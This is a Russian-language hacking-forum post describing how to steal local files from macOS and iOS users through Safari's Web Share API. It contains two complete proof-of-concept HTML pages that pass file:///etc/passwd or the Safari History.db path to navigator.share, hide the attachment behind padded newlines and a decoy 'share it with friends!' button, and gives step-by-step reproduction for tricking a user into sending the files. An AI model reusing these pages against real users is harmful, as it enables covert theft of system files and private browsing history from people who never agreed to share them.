The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project The YapLink Project

Кража локальных файлов с помощью Safari Web Share API

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
35
В этой статье описан метод кражи содержимого локальных файлов пользователей MacOS и iOS, предлагаю заглянуть в историю браузера и прочесть файл /etc/passwd.

Web Share API [https://w3c.github.io/web-share/] позволяет пользователям обмениваться ссылками из браузера через сторонние приложения (например, почту и приложения для обмена сообщениями). Проблема в том, что схема file: разрешена, и когда веб-сайт указывает на URL-адрес, которым целевое устройство намерено поделиться, происходит неожиданное поведение.

В случае, если такая ссылка передается в функцию navigator.share, фактический файл из файловой системы пользователя включается в совместно используемое сообщение, что приводит к раскрытию локального файла, когда пользователь неосознанно делится им.

Проблема не очень серьезная, поскольку требуется взаимодействие с пользователем, однако сделать общий файл невидимым для пользователя довольно легко. Самое близкое сравнение, которое приходит на ум, - это clickjacking, когда мы пытаемся убедить ничего не подозревающего пользователя выполнить какое-либо действие.

Подготовка:

Для начала потребуется контент, которым пользователь поделится в письме или в мессенджере, для тестов возьмем картинку.

Размещаем её на своем веб сервере, предварительно создав в папке с картинкой файл в формате HTML со следующим содержимым:



<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};

function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>


Ниже приведены шаги по воспроизведению проблемы:
  • Заходим на наш сайт https://mydomain/webshare/poc1.html, используя Safari или Mobile Safari
  • Нажмите «Share it with friends!»
  • Выберите способ (например, почта, сообщения)
  • «Send it» или «Share it» (или просто проверьте то, что было прикреплено)
  • Получателю был отправлен локальный /etc/passwd

Нажимаем "Поделиться" и выберем, к примеру, сообщение на почту:


Отправив сообщение на выбранный почтовый ящик, откроем письмо от целевого устройства:


Сохраняем файл passwd, и открываем его в редакторе:


Результат, на мой взгляд вполне удовлетворительный.

Попробуем подсмотреть историю посещений браузера:

Немного изменим исходный код poc1.html:

<html>
<script>
var opts = {text: 'Useful Animal Facts! http://somerandomimagewebsite.com/u...n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///private/var/mobile/Library/Safari/History.db'};

function run() {
navigator.share(opts);
}
</script>
<body>
Useful Animal Facts
<br/>
<img width="600px" height="496px" src="unicorn.png">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>


Добавив:

file:///private/var/mobile/Library/Safari/History.db

Проделываем те же шаги, что и в предыдущем примере и на почту получаем файл с расширением .db.


Сохраняем себе локально и открываем с помощью DB Browser SQLite:


В результате, мы получаем всю историю посещений пользователя.

C MacOS такой трюк тоже работает без проблем.
 
Верх